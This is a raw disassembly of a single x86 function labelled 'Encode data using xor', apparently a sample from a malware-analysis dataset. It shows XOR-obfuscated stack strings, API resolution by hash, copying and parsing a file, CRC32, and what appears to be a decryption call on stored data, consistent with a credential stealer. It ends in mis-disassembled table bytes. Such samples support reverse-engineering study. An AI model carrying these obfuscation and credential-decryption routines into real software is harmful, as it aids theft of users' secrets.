Function at 0x42b519
Capabilities:
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.0042a1f0
add esp, 4
test al, al
je 0x42a900
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov dword [esp + 0xa0], 0xe110e73f
mov dword [esp + 0xa4], 0xfd6ee36d
mov dword [esp + 0xa8], 0xf90aff1f
mov dword [esp + 0xac], 0xf52afb0c
mov dword [esp + 0xb0], 0xf17af717
mov dword [esp + 0xb4], 0x8df2f308
lea eax, [esp + 0xa0]
mov ecx, 0x1d7bc056
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [eax]
mov edx, ecx
or edx, esi
lea edi, [ecx - 0x1d7bc000]
and edi, esi
not edx
or edx, edi
lea esi, [edx + 0xb2]
mov edi, 0xd
sub edi, edx
and edx, 1
and edi, 0x13
and esi, 0xec
or esi, edi
xor esi, 0x12
lea edx, [esi + edx*2]
mov byte [eax], dl
inc eax
dec ecx
cmp ecx, 0x1d7bc03e
jne 0x42a960
mov dword [esp + 0x14], 0x73007114
mov dword [esp + 0x18], 0x6f116d11
mov dword [esp + 0x1c], 0x6b196911
mov dword [esp + 0x20], 0x67146508
mov dword [esp + 0x24], 0x63066109
mov dword [esp + 0x28], 0x9fdf9de9
mov dword [esp + 0x2c], 0x9be299db
mov dword [esp + 0x30], 0x97e095ed
mov dword [esp + 0x34], 0x93f691ed
mov dword [esp + 0x38], 0x8ff98dff
mov dword [esp + 0x3c], 0x8be689f6
mov dword [esp + 0x40], 0x87c785eb
mov dword [esp + 0x44], 0x83ff81f2
mov dword [esp + 0x48], 0xbfd0bdd8
mov dword [esp + 0x4c], 0xbb2eb9d9
mov dword [esp + 0x50], 0xb72bb53a
mov dword [esp + 0x54], 0xb3c1b1d4
mov dword [esp + 0x58], 0xaf33ad20
mov dword [esp + 0x5c], 0xab3fa9c9
mov word [esp + 0x60], 0xa5a4
mov byte [esp + 0x66], 0
mov dword [esp + 0x62], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x6c
xor cl, byte [esp + eax + 0x14]
add cl, 0xe4
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x53
jne case.default.0x42aa82
lea eax, [esp + 0xa0]
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.0043bbc0
add esp, 8
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44cc18]
mov ecx, eax
nop
nop
nop
nop
nop
mov edx, ecx
add ecx, 2
cmp word [edx], 0
jne 0x42aa90
sub edx, eax
cmp edx, 0xffffffd9
mov dword [esp + 0xc], eax
jge 0x42aab4
mov edx, 0xffffffff
jmp 0x42aab7
xor eax, eax
jmp 0x42b4ec
add edx, 0x26
push edx
call fcn.0040c8d0
add esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0xf1ab0fb0
mov dword [esp + 0x18], 0xf55cf361
mov dword [esp + 0x1c], 0xf95df752
mov dword [esp + 0x20], 0xfd46fb51
mov dword [esp + 0x24], 0xe16fff59
mov dword [esp + 0x28], 0xe544e34e
mov dword [esp + 0x2c], 0xe94fe74f
mov dword [esp + 0x30], 0xed7ceb06
mov dword [esp + 0x34], 0xd148ef48
mov dword [esp + 0x38], 0xd3d0
mov edx, 0x5302ac83
mov ebx, 0xacfd547c
mov edi, 0x7875687d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + ebx + 0x5302ab98]
mov dword [esp + 4], ecx
mov ebp, ecx
not ebp
mov eax, edi
and eax, ebp
lea esi, [edx - 1]
mov dword [esp + 8], esi
and esi, ecx
or esi, eax
not esi
and esi, edi
mov eax, esi
and eax, 0x787568fd
mov ecx, esi
and ecx, 2
or esi, 2
imul esi, ecx
xor ecx, 2
imul ecx, eax
add esi, ecx
add edx, esi
and edx, ebp
mov eax, ebx
sub eax, esi
and eax, dword [esp + 4]
sub eax, edx
add al, 0x8f
mov byte [esp + ebx + 0x5302ab98], al
inc ebx
inc edi
mov eax, dword [esp + 8]
mov edx, eax
cmp eax, 0x5302ac5b
jne 0x42ab30
mov esi, dword [esp + 0xc]
movzx ecx, word [esi]
mov edi, dword [esp + 0x10]
mov eax, edi
test cx, cx
je 0x42abc1
mov edx, esi
add edx, 2
mov eax, edi
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42abb0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42abf1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42abe0
mov word [eax], 0
jmp dword [0x44cc20]
push esi
call fcn.0040c8e0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44cc34]
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x44cc38]
mov dword [esp + 0x14], 0x17d019e7
mov dword [esp + 0x18], 0x138d15f0
mov dword [esp + 0x1c], 0xf9c1183
mov dword [esp + 0x20], 0xb930d96
mov dword [esp + 0x24], 0x7e20993
mov dword [esp + 0x28], 0x391059b
mov dword [esp + 0x2c], 0x3fa40192
mov dword [esp + 0x30], 0x3ba13da5
mov dword [esp + 0x34], 0x37bc39ea
mov dword [esp + 0x38], 0x33a835a8
mov word [esp + 0x3c], 0x3130
mov dword [esp + 0x3e], 0
mov word [esp + 0x42], 0
xor eax, eax
nop
nop
mov ecx, eax
and ecx, 4
mov edx, eax
and edx, 2
mov esi, edx
xor esi, 2
imul esi, ecx
or ecx, 2
imul ecx, edx
mov edx, eax
xor edx, 0xc6
add edx, esi
add edx, ecx
xor dl, byte [esp + eax + 0x14]
add dl, 0x22
mov byte [esp + eax + 0x14], dl
inc eax
cmp eax, 0x30
jne case.default.0x42acf6
push 0
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
lea eax, [esp + 0xac]
push eax
push edi
call fcn.00443f70
add esp, 0x14
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x44cc40]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0xa8]
call fcn.004442b0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x44cc48]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.0040c8d0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xac]
call fcn.00444380
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x44cc60]
mov esi, dword [esp + 0x90]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c8d0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x6c], eax
mov ecx, eax
push esi
mov dword [esp + 0x74], edi
push edi
call fcn.0042d5a0
movzx eax, al
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x44cc68]
mov dword [esp + 0x14], 0x6d606a11
mov dword [esp + 0x18], 0x66687851
mov dword [esp + 0x1c], 0x6d75792d
mov dword [esp + 0x20], 0x276c5a
mov dword [esp + 0x24], 0x1a0d1060
mov dword [esp + 0x28], 0x80b6859
mov dword [esp + 0x2c], 0x1510281d
mov dword [esp + 0x30], 0xa715
xor eax, eax
xor ecx, ecx
lea edi, [esp + 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 8], edi
movzx edx, byte [edi]
mov edi, eax
and edi, 0xc5d93da2
mov esi, ecx
xor esi, 0x1d13612e
sub esi, edi
lea edi, [esi + 1]
and edi, edx
mov ebp, edi
and ebp, 0xfffffffd
mov ebx, edi
or ebx, 0xfffffffd
inc ebx
imul ebx, ebp
mov ebp, edi
and ebp, 2
or edi, 2
imul edi, ebp
sub ebx, edi
mov edi, dword [esp + 8]
add edx, esi
inc edx
add edx, ebx
add edx, 0xf1066e13
mov esi, edx
and esi, 0x14
xor edx, 0x14
lea edx, [edx + esi*2]
add dl, 0xee
mov byte [edi], dl
inc edi
dec ecx
add eax, 0xfffffffe
cmp ecx, 0xffffffe0
jne 0x42ae10
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x6c]
push eax
call fcn.0042d7e0
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
xor ebp, ebp
jmp dword [ecx*4 + 0x44cc70]
mov edi, dword [esp + 0x70]
jmp dword [0x44cc80]
mov esi, dword [esp + 0x6c]
jmp dword [0x44cc88]
mov ecx, esi
call fcn.0042d940
nop
nop
nop
mov ecx, esi
call fcn.0042d940
jmp dword [0x44cc94]
push esi
call fcn.0040c8e0
add esp, 4
jmp dword [0x44cca8]
jmp dword [0x44cca8]
push edi
call fcn.0040c8e0
add esp, 4
nop
nop
nop
nop
nop
jmp dword [0x44ccbc]
jmp dword [0x44ccc4]
add eax, 8
xor ebx, ebx
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
xor ebp, ebp
xor edi, edi
xor ecx, ecx
jmp dword [eax*4 + 0x44cc78]
mov eax, dword [esp]
mov dword [ebp + eax + 4], ecx
mov ebx, dword [esp + 0xc]
add ebx, 8
mov esi, dword [esp + 0x78]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
mov edi, ebp
mov ecx, dword [esp + 0x68]
jmp dword [eax*4 + 0x44cc78]
mov eax, dword [esi]
mov dword [esp + 8], eax
mov edx, ebx
sub edx, edi
cmp ebx, ecx
mov dword [esp], edx
je 0x42af54
mov dword [esp + 0xc], ebx
mov ebp, edi
jmp 0x42afd0
mov eax, edx
sar eax, 3
inc eax
mov dword [esp + 0x68], ecx
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x42af6f
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040c8d0
add esp, 4
mov ebp, eax
test edi, edi
je 0x42afbc
mov edx, dword [esp + 0x68]
cmp edi, edx
je 0x42afb3
xor eax, eax
nop
mov ecx, dword [edi + eax]
mov dword [ebp + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebp + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x42af90
push edi
call fcn.0040c8e0
add esp, 4
lea ecx, [ebx*8]
add ecx, ebp
mov eax, ebp
mov edx, dword [esp]
add eax, edx
mov dword [esp + 0xc], eax
mov dword [esp + 0x68], ecx
mov dword [esp + 0x78], esi
mov dword [ebp + edx], 0
mov dword [ebp + edx + 4], 0
xor ebx, ebx
mov esi, dword [esp + 8]
nop
nop
cmp byte [esi + ebx], 0
lea ebx, [ebx + 1]
jne 0x42aff0
push ebx
call fcn.0040c8d0
add esp, 4
mov ecx, dword [esp]
mov dword [ebp + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, esi
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, ebx
inc cl
test cl, 1
jne 0x42b053
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor ecx, ecx
cmp ebx, 1
je 0x42af10
mov dword [esp + 0x74], ebp
mov ecx, 0xffffffff
mov dword [esp + 4], ebx
mov ebx, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx esi, byte [eax + ebx - 1]
xor esi, ecx
mov ecx, esi
shr ecx, 1
mov edx, esi
and edx, 1
neg edx
and edx, 0xedb88320
mov edi, edx
and edi, ecx
add edx, ecx
add edi, edi
mov ebp, edx
sub ebp, edi
shr ebp, 1
mov ecx, esi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
mov edi, ebp
and edi, ecx
add ecx, ebp
add edi, edi
mov eax, ecx
sub eax, edi
shr eax, 1
mov edi, esi
shl edi, 0x1d
sar edi, 0x1f
and edi, 0xedb88320
mov ebp, eax
and ebp, edi
add edi, eax
add ebp, ebp
sub edi, ebp
shr edi, 1
mov ebp, esi
shl ebp, 0x1c
sar ebp, 0x1f
and ebp, 0xedb88320
mov eax, edi
and eax, ebp
add ebp, edi
add eax, eax
sub ebp, eax
shr ebp, 1
mov edi, esi
shl edi, 0x1b
sar edi, 0x1f
and edi, 0xedb88320
mov eax, ebp
and eax, edi
add edi, ebp
add eax, eax
sub edi, eax
shr edi, 1
shl esi, 0x1a
sar esi, 0x1f
and esi, 0xedb88320
mov eax, edi
and eax, esi
add esi, edi
add eax, eax
sub esi, eax
shr esi, 1
shl edx, 0x1a
sar edx, 0x1f
and edx, 0xedb88320
mov eax, esi
and eax, edx
add edx, esi
add eax, eax
sub edx, eax
shr edx, 1
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
mov eax, edx
and eax, ecx
add ecx, edx
add eax, eax
sub ecx, eax
inc ebx
cmp dword [esp + 4], ebx
jne 0x42b070
not ecx
mov ebp, dword [esp + 0x74]
jmp 0x42af10
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44cd08]
mov edx, dword [esi]
cmp dword [esi + 0x18], 3
mov ebp, 0
jne case.default.0x42b192
mov ebp, dword [esi + 0x10]
test edx, edx
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44cd20]
mov dword [esp + 8], edx
mov dword [esp + 0x10], esi
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x42b1e7
mov dword [esp + 0x78], ebx
sub ecx, ebp
inc ecx
shr ecx, 1
mov dword [esp + 0x6c], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c8d0
add esp, 4
mov ecx, eax
mov eax, dword [case.0x42b22e.101]
movsx edi, byte [ebp]
xor edx, edx
test edi, edi
setne dl
mov dword [esp + 0x70], ecx
jmp dword [edx*4 + 0x44cd28]
inc ebp
mov byte [ecx], dl
inc ecx
movsx edi, byte [ebp]
xor edx, edx
test edi, edi
setne dl
jmp dword [edx*4 + 0x44cd28]
lea edx, [edi - 0x30]
cmp edx, 0xa
jb 0x42b213
mov edx, 0xffffffff
or edi, 0x20
lea ebx, [edi - 0x61]
cmp ebx, 6
jae case.default.0x42b22e
add edi, 0xffffffa9
mov edx, edi
movsx edi, byte [ebp + 1]
xor ebx, ebx
test edi, edi
setne bl
jmp dword [ebx*4 + 0x44cd30]
jmp eax
lea ebx, [edi - 0x30]
cmp ebx, 0xa
jb 0x42b24f
mov ebx, 0xffffffff
or edi, 0x20
lea esi, [edi - 0x61]
cmp esi, 6
jae case.default.0x42b275
add edi, 0xffffffa9
mov ebx, edi
shl edx, 4
or edx, ebx
add ebp, 2
mov byte [ecx], dl
inc ecx
movsx edi, byte [ebp]
xor edx, edx
test edi, edi
setne dl
jmp dword [edx*4 + 0x44cd28]
mov byte [ecx], 0
push 0
push 0x10
push 0
push dword [esp + 0x14]
call fcn.0042d9e0
add esp, 0x10
mov dword [esp + 8], eax
xor esi, esi
mov ecx, dword [case.0x42b977.24]
xor ebx, ebx
mov edi, dword [esp + 0x74]
cmp edi, dword [esp + 0xc]
setne bl
jmp dword [ebx*4 + 0x44cd48]
mov eax, 1
jmp dword [eax*4 + 0x44cd68]
add edi, 8
xor ebx, ebx
cmp edi, dword [esp + 0xc]
setne bl
jmp dword [ebx*4 + 0x44cd48]
mov ebx, dword [edi + 4]
mov ebp, ebx
shr ebp, 0x1c
shl ebx, 4
or ebx, 1
xor ebp, edx
xor ebx, dword [esp + 8]
xor eax, eax
or ebx, ebp
sete al
jmp dword [eax*4 + 0x44cd50]
jmp ecx
mov esi, dword [edi]
xor eax, eax
jmp dword [eax*4 + 0x44cd68]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44cd70]
mov ebx, dword [esp + 0x78]
mov esi, dword [esp + 0x10]
jmp dword [0x44cd90]
mov edi, esi
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x18], eax
mov eax, 0xffffffff
mov esi, dword [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42b3cb
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], edi
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
push 0x14e20a34
push dword [0x450c24]
call fcn.004435b0
add esp, 8
lea ecx, [esp + 0x88]
lea edx, [esp + 0x90]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x2c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [esp + 0x78]
jmp dword [ecx*4 + 0x44cd78]
jmp dword [0x44cd90]
movzx eax, byte [edi]
test al, al
je 0x42b3eb
inc edi
mov byte [ebx], al
inc ebx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x42b3e0
mov word [ebx], 0x203a
mov eax, ebx
add eax, 2
mov esi, dword [esp + 0x88]
test esi, esi
je 0x42b42b
mov ecx, dword [esp + 0x8c]
mov edx, esi
and edx, 3
je 0x42b42f
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42b410
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x42b431
mov edi, eax
jmp 0x42b479
mov edx, esi
cmp esi, 4
jb 0x42b479
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea edi, [eax + 4]
mov byte [eax + 3], bl
mov eax, edi
add edx, 0xfffffffc
jne 0x42b440
mov byte [edi], 0xa
inc edi
push 0xbe5098bb
push dword [0x450c0c]
call fcn.004435b0
add esp, 8
push dword [esp + 0x8c]
call eax
mov al, 1
mov dword [esp], eax
mov ebx, edi
mov esi, dword [esp + 0x10]
jmp dword [0x44cd90]
push dword [esp + 0x70]
call fcn.0040c8e0
add esp, 4
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44cd08]
jmp dword [0x44cd1c]
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x14], 0xc0c7c6c5
mov word [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xb1
xor dl, byte [esp + ecx + 0x14]
add dl, 0x8b
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 6
jne 0x42b540
mov ecx, dword [0x450c18]
test ecx, ecx
je case.0x42acf6.32
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x450c1c]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42b580
inc esi
cmp ecx, esi
jne 0x42b570
jmp case.0x42acf6.32
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x42acf6.32
push eax
push 1
push dword [0x450c20]
push ecx
call fcn.00440770
add esp, 0x10
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x14], 0xc0c7c6c5
mov word [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xb1
xor dl, byte [esp + ecx + 0x14]
add dl, 0x8b
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 6
jne 0x42b5c0
mov ecx, dword [0x450c18]
test ecx, ecx
je 0x42b608
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x450c1c]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42b600
inc esi
cmp ecx, esi
jne 0x42b5f0
jmp 0x42b608
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42b63d
jmp dword [0x44cccc]
jmp dword [0x44ccd0]
push dword [esp + 0x10]
call fcn.0040c8e0
add esp, 4
xor eax, eax
cmp ebp, ebx
sete al
jmp dword [eax*4 + 0x44ccd8]
xor eax, eax
test ebp, ebp
jne 0x42bb1d
jmp 0x42b4ec
push eax
push 1
push dword [0x450c20]
push ecx
call fcn.00440770
add esp, 0x10
jmp dword [0x44cccc]
xor eax, eax
cmp ebp, ebx
sete al
jmp dword [eax*4 + 0x44ccd8]
mov dword [esp + 0xc], ebx
mov eax, ebx
sub eax, ebp
sar eax, 3
mov ecx, eax
and ecx, 0x421
mov edx, eax
or eax, 0x421
imul eax, ecx
xor ecx, 0x421
and edx, 0xfffffbde
imul edx, ecx
add eax, edx
push eax
call fcn.0040c8d0
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x14], 0xe9a6eb8f
mov dword [esp + 0x18], 0xed4bef79
mov dword [esp + 0x1c], 0xd17ed34b
mov dword [esp + 0x20], 0xd546d797
mov dword [esp + 0x24], 0xd99edb44
mov dword [esp + 0x28], 0xdd4adf7f
mov dword [esp + 0x2c], 0xc1a9c37b
mov dword [esp + 0x30], 0xc573c77c
mov dword [esp + 0x34], 0xc961cb50
mov dword [esp + 0x38], 0xcd5dcf6f
mov dword [esp + 0x3c], 0x319e3370
mov dword [esp + 0x40], 0x359337a1
mov dword [esp + 0x44], 0x39963b93
mov dword [esp + 0x48], 0x3da43f6a
mov dword [esp + 0x4c], 0x21882398
lea eax, [esp + 0x50]
mov dword [esp + 0x50], 0x2720
mov byte [esp + 0x54], 0
mov ecx, 0xd7
mov edx, 0xffff0b28
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0xc3]
mov edi, ecx
xor edi, edx
and edi, esi
xor edi, edx
mov esi, 0xcd38bcbd
sub esi, edi
mov edi, esi
and edi, 1
xor esi, 1
lea ebx, [esi + edi*2]
add bl, 0xe
mov byte [esp + ecx - 0xc3], bl
inc ecx
dec edx
cmp ecx, 0x118
jne 0x42b740
lea edx, [esp + 0x14]
lea ebx, [esp + 0xa0]
mov edi, ebx
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x9c]
push esi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x450c14]
mov edi, dword [esp + 0x9c]
test edi, edi
jns 0x42b7c8
mov eax, 0xffffffff
jmp 0x42b7cb
lea eax, [edi + edi]
push eax
call fcn.0040c8d0
add esp, 4
mov ebx, eax
push esi
push edi
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x450c14]
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x78], ebx
push ebx
call fcn.00443f70
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44cce0]
xor edx, edx
mov ebx, dword [esp + 4]
jmp dword [0x44cdb8]
lea eax, [esp + 0x98]
push 0
push eax
push dword [esp + 0x84]
call fcn.004442b0
add esp, 0xc
not eax
shr eax, 0x1f
xor edx, edx
mov dword [esp], 0
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44cce8]
mov esi, dword [esp + 0x98]
lea eax, [esi + 1]
push eax
call fcn.0040c8d0
add esp, 4
push 0
push esi
mov dword [esp + 0x8c], eax
push eax
push dword [esp + 0x88]
call fcn.00444380
add esp, 0x10
not eax
shr eax, 0x1f
xor ecx, ecx
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44ccf0]
mov esi, dword [esp + 0x98]
mov edi, dword [esp + 0x84]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c8d0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x80], eax
mov ecx, eax
push esi
push edi
call fcn.0042d5a0
movzx eax, al
xor ecx, ecx
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44ccf8]
mov dword [esp + 0x74], ebp
mov dword [esp + 0x14], 0xa590aa81
mov dword [esp + 0x18], 0x8eb888a1
mov dword [esp + 0x1c], 0xb58d99f5
mov dword [esp + 0x20], 0x90ff84ba
mov dword [esp + 0x24], 0xba8580b0
mov dword [esp + 0x28], 0x8787daf9
mov dword [esp + 0x2c], 0x8dbfb886
mov dword [esp + 0x30], 0xb5b3b0dd
mov dword [esp + 0x34], 0x1bb7
mov eax, ecx
add al, 0xcb
xor al, byte [esp + ecx + 0x14]
add al, 9
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x24
jne case.default.0x42b977
mov ecx, dword [esp + 0x80]
lea eax, [esp + 0x14]
push eax
call fcn.0042d7e0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
mov ebx, dword [esp + 4]
jmp dword [ecx*4 + 0x44cd00]
mov eax, dword [case.0x42acf6.45]
mov ebp, dword [esp + 0x74]
mov ecx, dword [esp]
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44cda8]
mov dword [esp], ecx
xor edx, edx
jmp dword [0x44cdb0]
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x14], 0xc0c7c6c5
mov word [esp + 0x18], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, edx
add cl, 0xb1
xor cl, byte [esp + edx + 0x14]
add cl, 0x8b
mov byte [esp + edx + 0x14], cl
inc edx
cmp edx, 6
jne 0x42b9d0
mov ecx, dword [0x450c18]
test ecx, ecx
je 0x42ba1c
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x450c1c]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42ba10
inc esi
cmp ecx, esi
jne 0x42ba00
jmp 0x42ba1c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42bb58
mov edx, dword [esp]
jmp dword [0x44cdb8]
cmp ebp, ebx
je 0x42b4ec
mov edi, eax
mov esi, ebp
jmp 0x42bb37
add esi, 8
cmp esi, ebx
je 0x42bb48
mov eax, dword [esi]
test eax, eax
je 0x42bb30
push eax
call fcn.0040c8e0
add esp, 4
jmp 0x42bb30
push ebp
call fcn.0040c8e0
add esp, 4
mov eax, edi
jmp 0x42b4ec
push eax
push 1
push dword [0x450c20]
push ecx
call fcn.00440770
add esp, 0x10
mov edx, dword [esp]
jmp dword [0x44cdb8]
add eax, 8
mov dword [esp], 0
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44cd08]
int3
stosb byte es:[edi], al
inc edx
add byte [ebp - 0x3ffbd56], ch
stosd dword es:[edi], eax
inc edx
add byte [eax], dl
lodsb al, byte [esi]
inc edx
add byte [eax], dl
lodsb al, byte [esi]
inc edx
add byte [eax], dl
lodsb al, byte [esi]
inc edx
add byte [eax], dl
lodsb al, byte [esi]
inc edx
add byte [esi], dl
lodsb al, byte [esi]
inc edx
add bl, dl
lodsb al, byte [esi]
inc edx
add byte [esi], ah
lodsb al, byte [esi]
inc edx
add byte [esi], cl
mov dh, 0x42
add ch, bh
lodsb al, byte [esi]
inc edx
add dh, ah
scasb al, byte es:[edi]
inc edx
add byte [esi], ah
lodsd eax, dword [esi]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx + 0x10042bb], dl
add byte [eax], al
add ah, cl
scasb al, byte es:[edi]
inc edx
add byte [esi - 0x53], bl
inc edx
add byte [edx - 0x44ffbd52], dl
lodsd eax, dword [esi]
inc edx
add byte [edx - 0x13ffbd52], dl
scasb al, byte es:[edi]
inc edx
add byte [edx + 0x3b0042ae], dl
scasd eax, dword es:[edi]
inc edx
add byte [esi + ebp*4 - 0x5133ffbe], bl
inc edx
add byte [eax - 0x59ffbd52], dh
scasb al, byte es:[edi]
inc edx
add byte [eax - 0x42ffbd52], dh
scasb al, byte es:[edi]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add ah, cl
scasb al, byte es:[edi]
inc edx
add byte [ecx], al
add byte [eax], al
add dl, dl
scasb al, byte es:[edi]
inc edx
add al, ah
scasb al, byte es:[edi]
inc edx
add al, ah
scasb al, byte es:[edi]
inc edx
add al, ah
scasb al, byte es:[edi]
inc edx
add al, ah
scasb al, byte es:[edi]
inc edx
add dh, ah
scasb al, byte es:[edi]
inc edx
add byte [ecx], bl
mov ch, 0x42
